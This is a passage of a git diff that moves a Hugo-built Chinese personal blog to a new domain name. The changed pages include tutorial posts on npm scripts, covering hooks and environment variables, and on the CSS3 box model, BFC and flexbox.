xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解并且使用npm script</h1><div class=post-meta><span title='2021-09-20 14:30:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3%e5%b9%b6%e4%b8%94%e4%bd%bf%e7%94%a8npm-script.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：</p><pre><code>&quot;scripts&quot;: {
-    &quot;dev&quot;: &quot;node hallo.js&quot;
-  }
-</code></pre><p>npm run dev // 等于执行node hallo.js</p><p>查看当前项目的全部npm脚本</p><p>npm run</p><p>注意：当前项目的node_modules/bin下的全部依赖都可以直接访问</p><p>如果要执行多个脚本可以用&&（依次运行），&（并行运行）</p><p>npm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：</p><pre><code>&quot;scripts&quot;: {
-    &quot;predev&quot;: &quot;echo hallo&quot;,
-    &quot;dev&quot;: &quot;node hallo.js&quot;,
-    &quot;postdev&quot;: &quot;echo yes&quot;
-}
+&#34;scripts&#34;: { &#34;test&#34;: &#34;echo \&#34;Error: no test specified\&#34; && exit 1&#34; } 传递参数"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解并且使用npm script","item":"https://chenjunlinabc.github.io/posts/109/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解并且使用npm script","name":"简单了解并且使用npm script","description":"npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：\n\u0026quot;scripts\u0026quot;: { \u0026quot;dev\u0026quot;: \u0026quot;node hallo.js\u0026quot; } npm run dev // 等于执行node hallo.js\n查看当前项目的全部npm脚本\nnpm run\n注意：当前项目的node_modules/bin下的全部依赖都可以直接访问\n如果要执行多个脚本可以用\u0026amp;\u0026amp;（依次运行），\u0026amp;（并行运行）\nnpm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：\n\u0026quot;scripts\u0026quot;: { \u0026quot;predev\u0026quot;: \u0026quot;echo hallo\u0026quot;, \u0026quot;dev\u0026quot;: \u0026quot;node hallo.js\u0026quot;, \u0026quot;postdev\u0026quot;: \u0026quot;echo yes\u0026quot; } 相对于npm run predev \u0026amp;\u0026amp; npm run dev \u0026amp;\u0026amp; npm run postdev\n像install，uninstall，publish，test，start等等都有pre和post这两个钩子\n查看正在运行的脚本\nconst NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)\n可以缩写不用run，例如：npm dev\nnpm script可以使用npm内部变量，例如：\n{ \u0026quot;name\u0026quot;: \u0026quot;root\u0026quot;, \u0026quot;scripts\u0026quot;: { \u0026quot;dev\u0026quot;: \u0026quot;node hallo.js $npm_package_name\u0026quot; } } 获取npm内部变量name\nconsole.log(process.env.npm_package_name)\n脚本错误抛出\n\u0026quot;scripts\u0026quot;: { \u0026quot;test\u0026quot;: \u0026quot;echo \\\u0026quot;Error: no test specified\\\u0026quot; \u0026amp;\u0026amp; exit 1\u0026quot; } 传递参数","keywords":["npm"],"articleBody":"npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：\n\"scripts\": { \"dev\": \"node hallo.js\" } npm run dev // 等于执行node hallo.js\n查看当前项目的全部npm脚本\nnpm run\n注意：当前项目的node_modules/bin下的全部依赖都可以直接访问\n如果要执行多个脚本可以用\u0026\u0026（依次运行），\u0026（并行运行）\nnpm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：\n\"scripts\": { \"predev\": \"echo hallo\", \"dev\": \"node hallo.js\", \"postdev\": \"echo yes\" } 相对于npm run predev \u0026\u0026 npm run dev \u0026\u0026 npm run postdev\n像install，uninstall，publish，test，start等等都有pre和post这两个钩子\n查看正在运行的脚本\nconst NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)\n可以缩写不用run，例如：npm dev\nnpm script可以使用npm内部变量，例如：\n{ \"name\": \"root\", \"scripts\": { \"dev\": \"node hallo.js $npm_package_name\" } } 获取npm内部变量name\nconsole.log(process.env.npm_package_name)\n脚本错误抛出\n\"scripts\": { \"test\": \"echo \\\"Error: no test specified\\\" \u0026\u0026 exit 1\" } 传递参数\n{ \"scripts\": { \"dev\": \"node hallo.js\" } } const name = process.env.npm_config_name console.log(name)\nnpm run dev –name=root\n可以看到获取到了参数name的值\n","wordCount":"100","inLanguage":"en","datePublished":"2021-09-20T14:30:00Z","dateModified":"2021-09-20T14:30:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/109/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解并且使用npm script</h1><div class=post-meta><span title='2021-09-20 14:30:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3%e5%b9%b6%e4%b8%94%e4%bd%bf%e7%94%a8npm-script.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：</p><pre><code>&quot;scripts&quot;: {
+    &quot;dev&quot;: &quot;node hallo.js&quot;
+  }
+</code></pre><p>npm run dev // 等于执行node hallo.js</p><p>查看当前项目的全部npm脚本</p><p>npm run</p><p>注意：当前项目的node_modules/bin下的全部依赖都可以直接访问</p><p>如果要执行多个脚本可以用&&（依次运行），&（并行运行）</p><p>npm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：</p><pre><code>&quot;scripts&quot;: {
+    &quot;predev&quot;: &quot;echo hallo&quot;,
+    &quot;dev&quot;: &quot;node hallo.js&quot;,
+    &quot;postdev&quot;: &quot;echo yes&quot;
+}
 </code></pre><p>相对于npm run predev && npm run dev && npm run postdev</p><p>像install，uninstall，publish，test，start等等都有pre和post这两个钩子</p><p>查看正在运行的脚本</p><p>const NpmScript = process.env.npm_lifecycle_event
-console.log(NpmScript)</p><p>可以缩写不用run，例如：npm dev</p><p>npm script可以使用npm内部变量，例如：</p><pre><code>{
-    &quot;name&quot;: &quot;root&quot;, 
-    &quot;scripts&quot;: {
-        &quot;dev&quot;: &quot;node hallo.js $npm_package_name&quot;
-    }
-}
-</code></pre><p>获取npm内部变量name</p><p>console.log(process.env.npm_package_name)</p><p>脚本错误抛出</p><pre><code>&quot;scripts&quot;: {
-    &quot;test&quot;: &quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 1&quot;
-}
-</code></pre><p>传递参数</p><pre><code>{
-    &quot;scripts&quot;: {
-        &quot;dev&quot;: &quot;node hallo.js&quot;
-    }
-}
+console.log(NpmScript)</p><p>可以缩写不用run，例如：npm dev</p><p>npm script可以使用npm内部变量，例如：</p><pre><code>{
+    &quot;name&quot;: &quot;root&quot;, 
+    &quot;scripts&quot;: {
+        &quot;dev&quot;: &quot;node hallo.js $npm_package_name&quot;
+    }
+}
+</code></pre><p>获取npm内部变量name</p><p>console.log(process.env.npm_package_name)</p><p>脚本错误抛出</p><pre><code>&quot;scripts&quot;: {
+    &quot;test&quot;: &quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 1&quot;
+}
+</code></pre><p>传递参数</p><pre><code>{
+    &quot;scripts&quot;: {
+        &quot;dev&quot;: &quot;node hallo.js&quot;
+    }
+}
 </code></pre><p>const name = process.env.npm_config_name
-console.log(name)</p><p>npm run dev &ndash;name=root</p><p>可以看到获取到了参数name的值</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/npm/>npm</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/110/><span class=title>« Prev</span><br><span>Umi框架学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/106/><span class=title>Next »</span><br><span>数据结构学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+console.log(name)</p><p>npm run dev &ndash;name=root</p><p>可以看到获取到了参数name的值</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/npm/>npm</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/110/><span class=title>« Prev</span><br><span>Umi框架学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/106/><span class=title>Next »</span><br><span>数据结构学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/11/index.html b/posts/11/index.html
index eb3d279f..a1d906bc 100644
--- a/posts/11/index.html
+++ b/posts/11/index.html
@@ -5,7 +5,7 @@
 内边距（padding）：内边框是用于控制内容的距离
 内容（content）：内容，一般为文本和图像
 例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子
-div{
width: 100px;
borde: 10px solid red;
padding: 10px;
margin: 10px;
}
top，bottom，left，right分别代表了上，下，左，右
+div{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右
 或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值
 有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下
 这个盒子大小应该是内容的宽度+内边距+边框+外边距
@@ -32,15 +32,15 @@
 绝对定位元素 position (absolute、fixed)
 display 为 inline-block、table-cells、flex
 overflow 除了 visible 以外的值 (hidden、auto、scroll)
-BFC的特性："><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/11/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="css3学习笔记"><meta property="og:description" content="盒子模型
+BFC的特性："><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/11/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="css3学习笔记"><meta property="og:description" content="盒子模型
 盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model
 外边距（margin）：一般用于控制同辈元素之间的间距
 边框（border）：在内边距和内容之外的边框
 内边距（padding）：内边框是用于控制内容的距离
 内容（content）：内容，一般为文本和图像
 例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子
-div{
width: 100px;
borde: 10px solid red;
padding: 10px;
margin: 10px;
}
top，bottom，left，right分别代表了上，下，左，右
+div{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右
 或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值
 有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下
 这个盒子大小应该是内容的宽度+内边距+边框+外边距
@@ -67,14 +67,14 @@
 绝对定位元素 position (absolute、fixed)
 display 为 inline-block、table-cells、flex
 overflow 除了 visible 以外的值 (hidden、auto、scroll)
-BFC的特性："><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/11/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:21:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:21:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="css3学习笔记"><meta name=twitter:description content="盒子模型
+BFC的特性："><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/11/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:21:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:21:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="css3学习笔记"><meta name=twitter:description content="盒子模型
 盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model
 外边距（margin）：一般用于控制同辈元素之间的间距
 边框（border）：在内边距和内容之外的边框
 内边距（padding）：内边框是用于控制内容的距离
 内容（content）：内容，一般为文本和图像
 例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子
-div{
width: 100px;
borde: 10px solid red;
padding: 10px;
margin: 10px;
}
top，bottom，left，right分别代表了上，下，左，右
+div{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右
 或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值
 有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下
 这个盒子大小应该是内容的宽度+内边距+边框+外边距
@@ -101,18 +101,18 @@
 绝对定位元素 position (absolute、fixed)
 display 为 inline-block、table-cells、flex
 overflow 除了 visible 以外的值 (hidden、auto、scroll)
-BFC的特性："><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"css3学习笔记","item":"https://xiaochenabc123.github.io/posts/11/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"css3学习笔记","name":"css3学习笔记","description":"盒子模型\n盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model\n外边距（margin）：一般用于控制同辈元素之间的间距\n边框（border）：在内边距和内容之外的边框\n内边距（padding）：内边框是用于控制内容的距离\n内容（content）：内容，一般为文本和图像\n例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子\ndiv{\rwidth: 100px;\rborde: 10px solid red;\rpadding: 10px;\rmargin: 10px;\r}\rtop，bottom，left，right分别代表了上，下，左，右\n或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值\n有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下\n这个盒子大小应该是内容的宽度+内边距+边框+外边距\n100+20+20+20=160\n两种盒模型\nIE 盒子模型（box-sizing content-box）（怪异盒模型）\nIE盒模型的width与height是content、padding和border的总和\n调用IE盒模型 box-sizing: border-box;\nW3C标准盒模型（box-sizing content-box）\n标准盒模型的width与height只含content，不包括padding和border\n调用W3C标准盒模型 box-sizing: content-box;\n在IE6，7，8浏览器中不声明DOCTYPE类型，那么在IE6，7，8浏览器中会将盒子模型解释为IE盒子模型\n如果在页面中声明了DOCTYPE类型，那么所有的浏览器都会把盒模型解释为W3C盒模型\nJavaScript获取盒模型的宽和高（这里的DOM不是指整个dom，而是某个元素）\nDOM.style.width和DOM.style.height（只能获取内联样式）\nDOM.currentStyle.width和DOM.currentStyle.height（只支持IE）\nwindow.getComputedStyle(DOM).width和window.getComputedStyle(DOM).height（兼容性好）\n获取元素相对于视窗的位置(top,right,bottom,left都可以获取)\nlet data = DOM.getBoundingClientRect() data.top\n有BFC特性的元素是一个被“隔离”的容器，该容器里面的元素不会在布局上影响到外面的元素\n满足下面其中一个条件就触发BFC特性\nbody 根元素\n浮动元素 float除none外的值\n绝对定位元素 position (absolute、fixed)\ndisplay 为 inline-block、table-cells、flex\noverflow 除了 visible 以外的值 (hidden、auto、scroll)\nBFC的特性：","keywords":["css"],"articleBody":"盒子模型\n盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model\n外边距（margin）：一般用于控制同辈元素之间的间距\n边框（border）：在内边距和内容之外的边框\n内边距（padding）：内边框是用于控制内容的距离\n内容（content）：内容，一般为文本和图像\n例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子\ndiv{\rwidth: 100px;\rborde: 10px solid red;\rpadding: 10px;\rmargin: 10px;\r}\rtop，bottom，left，right分别代表了上，下，左，右\n或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值\n有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下\n这个盒子大小应该是内容的宽度+内边距+边框+外边距\n100+20+20+20=160\n两种盒模型\nIE 盒子模型（box-sizing content-box）（怪异盒模型）\nIE盒模型的width与height是content、padding和border的总和\n调用IE盒模型 box-sizing: border-box;\nW3C标准盒模型（box-sizing content-box）\n标准盒模型的width与height只含content，不包括padding和border\n调用W3C标准盒模型 box-sizing: content-box;\n在IE6，7，8浏览器中不声明DOCTYPE类型，那么在IE6，7，8浏览器中会将盒子模型解释为IE盒子模型\n如果在页面中声明了DOCTYPE类型，那么所有的浏览器都会把盒模型解释为W3C盒模型\nJavaScript获取盒模型的宽和高（这里的DOM不是指整个dom，而是某个元素）\nDOM.style.width和DOM.style.height（只能获取内联样式）\nDOM.currentStyle.width和DOM.currentStyle.height（只支持IE）\nwindow.getComputedStyle(DOM).width和window.getComputedStyle(DOM).height（兼容性好）\n获取元素相对于视窗的位置(top,right,bottom,left都可以获取)\nlet data = DOM.getBoundingClientRect() data.top\n有BFC特性的元素是一个被“隔离”的容器，该容器里面的元素不会在布局上影响到外面的元素\n满足下面其中一个条件就触发BFC特性\nbody 根元素\n浮动元素 float除none外的值\n绝对定位元素 position (absolute、fixed)\ndisplay 为 inline-block、table-cells、flex\noverflow 除了 visible 以外的值 (hidden、auto、scroll)\nBFC的特性：\nBFC是页面上的独立容器，该容器使用类型浮动之类会影响布局的元素都不会影响到外界的布局或者元素\n例子：\n1.当处于同一个BFC容器时，外边距会进行重叠，为了避免重叠，可以将其放在不同的BFC容器内\n2.当容器内的元素使用的浮动，将其脱离了文档流，要触发容器的BFC，那么BFC容器要包含使用了浮动的元素\n3.当第一个元素使用了浮动，希望第二个元素不被浮动元素影响，要在第二个元素上触发BFC特性\nflex为Flexible Box 的缩写，意为\"弹性盒模型\"，为其盒模型提供足够大的灵活性\ndiv{\rdisplay: flex;\r}\r使用flex布局的元素，被称为flex容器，该元素的所有子元素为该容器的成员，称为flex项目\nflex-direction\n一般用到四个值\nrow：在水平方向上，起点在左 row-reverse：在水平方向上，起点在右 column：在垂直方向上，起点在上。 column-reverse：在垂直方向上，起点在下。\nflex-wrap\n一般用到三个值\nnowrap：不换行 wrap：当容器宽度不足时换行，第一行在上方 wrap-reverse：当容器宽度不足时换行，第一行在下方\nflex-flow是flex-direction和flex-wrap简写版，它们两个的属性都可以使用 例如flex-flow: row-reverse wrap-reverse;\n表达了换行，第一行在下方，起点在右\njustify-content\n定义项目在主轴上的对齐方式\nflex-star：左对齐\nflex-end：右对齐\ncenter： 居中\nspace-between：两端对齐，每个项目之间的间隔都相等\nspace-around：每个项目两侧的间隔相等，所以项目之间的间隔比项目与边框的间隔大一倍\nalign-items\nflex-start：头部对齐 flex-end：底部对齐 center：居中对齐 baseline: 项目的第一行文字的基线对齐 